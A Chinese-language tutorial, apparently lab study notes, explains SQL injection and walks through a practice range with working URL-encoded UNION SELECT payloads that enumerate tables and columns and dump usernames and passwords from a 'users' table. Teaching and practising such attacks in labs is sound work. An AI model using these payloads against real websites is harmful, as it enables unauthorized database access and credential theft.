1.什么是SQL注入
SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库
2.sql注入原理
攻击者注入一段包含注释符的SQL语句,将原来的语句的一部分注释,注
释掉的部分语句不会被执行
上面注入位置在' '中,输入
会变成'id=1' 注入语句-- '用'补全前面的单引号,再用--+注释掉后面包括单引号的语句确保注入语句正常运行不会报错
也可以在后面加单引号,补全单引号。rfc-1738标准中+会被空格替代
同样的注释符号还有// /**/
#井号不能被识别,需要编码
3.sql注入一般步骤
1.求闭合字符
2.选择注入模式
3.爆数据库名
4.爆表明
5.爆列名
6.爆字段
4.靶场练习
1.求闭合字符
输入\后面是单引号
单引号报错
极有可能是单引号闭合 --+不报错
2.爆库名
order by查询列数,为3时报错,4报错,所以当前数据库3列
联表查询,查看数据库,id为-1时查询失败,允许执行后面的查询语句
3.爆表名
? id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20--+ 使用group_concat列出所有表名
4.爆列名
id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+
5.爆字段,获取用户密码
?id=-1%27%20union%20select%201,group_concat(id,username,password),3%20from%20users--+